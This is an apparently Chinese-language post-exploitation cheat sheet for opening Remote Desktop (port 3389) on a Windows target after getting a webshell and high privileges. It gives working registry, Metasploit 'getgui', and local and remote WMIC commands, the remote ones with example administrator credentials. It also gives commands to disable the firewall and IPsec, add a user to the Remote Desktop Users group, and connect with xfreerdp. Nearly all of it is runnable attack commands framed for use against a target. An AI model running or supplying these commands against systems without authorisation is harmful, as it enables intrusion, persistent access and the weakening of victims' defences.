1.描述
远程终端的默认端口是3389 云vps一般会开启 没有启用的情况下,在较高的权限下可以使用注册表命令进行开启
2.注册表开启远程终端命令
2.1 2008 2012 2016 开启3389
这个就是新建.bat文件 在本来不开启的情况下 我们双击运行 他就自动开启了 当然我们必须获得高权限
echo DO ALL IN CMD!
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
2.2 MSF命令开启3389端口
这个就是当我们获取webshell之后 我们输入这条指令 然后开启 还是需要高权限
run getgui -e
2.3 一条命令开始3389
这个也是一样的 在终端输入(拿到的webshell) 也需要高权限
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
2.4 WMIC命令开启3389端口
这个也是一样的 在终端输入(拿到的webshell) 也需要高权限
Win2k3/Win7/Win2k8/Win8.1/Win10/2012/2016(1:ON、0:OFF)
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
前提条件是确保“Windows Management Instrumentation(Winmgmt)”服务已正常启动。
2.5 WMIC开启远程主机3389端口
这个需要知道 ip 用户名 密码 主机名
支持系统:
Win2k/XP/Win2k3
wmic /node:192.168.0.103 /user:administrator /password:betasec PATH win32_terminalservicesetting WHERE ( Class!="") CALL SetAllowTSConnections 1
支持系统:
Win7/Win2k8/Win8.1/Win10/2012/2016
wmic /node:192.168.0.116 /user:administrator /password:betasec RDTOGGLE WHERE ServerName='WIN-TO2CN3V2VPR' call SetAllowTSConnections 1
wmic /node:192.168.0.116 /user:administrator /password:betasec process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
注意事项:
其实就是利用WMIC远程执行命令的方式来执行WMIC、REG等开启3389端口的命令。
WMIC远程开启3389端口时不能用%COMPUTERNAME%环境变量替代远程主机的计算机名。
错误:描述 = 拒绝访问,这是因为开启了UAC用户账户控制,只允许RID500管理员执行此操作。
3.查询是否开启3389(0为On1为OFF)
0x0 为开启 0x1为 关闭
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
4.注册表查询端口号
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\
查看PortNumber字段
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds"/s
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
转化为整数
set /a Port=0xd3d
通过网络命令查询端口
tasklist /svc | findstr "TermService"
netstat -ano | findstr "进程号"
net start |find "Remote Desktop Services"
5.关闭防火墙
确定开启了远程终端并且端口没错的情况下 还是连不上目标 目标上的防火墙可能允许,这个时候可以使用lcx端口转发,或者使用命令关闭防火墙
netsh advfirewall show allprofile state查询状态
netsh advfirewall set allprofiles state off 关闭防火墙
net stop "Windows Firewall" 关闭防火墙
sc config sharedaccess start= disabled禁用防火墙
net stop sharedaccess 关闭防火墙
6.关闭 ipsec
在关闭防火墙时,还是连接不上,可能是ipsec做了ip策略处理,导致连接失败可以使用命令
net stop "IPsec Policy Agent"
7.终端连接错误方法
不开启 不关闭 选择的是仅允许
可以使用相同版本的终端进行连接或者使用 xfreerdp连接会自动加密
这个是在kail自己安装
sudo apt install freerdp2-x11
必须知道用户名 密码 ip
xfreerdp /f /u:administrator /p:123456 /v:192.168.0.118
8.加入远程桌面组
提高权限 为管理员组(当然还是不太行 有可能权限低)
所以我们可以加入远程桌面组
net localgroup "Remote Desktop Users" hjl /add
9.终端超出最大连接数
终端超出最大连接数时可用下面的命 令来连接
mstsc /v:ip:3389 /console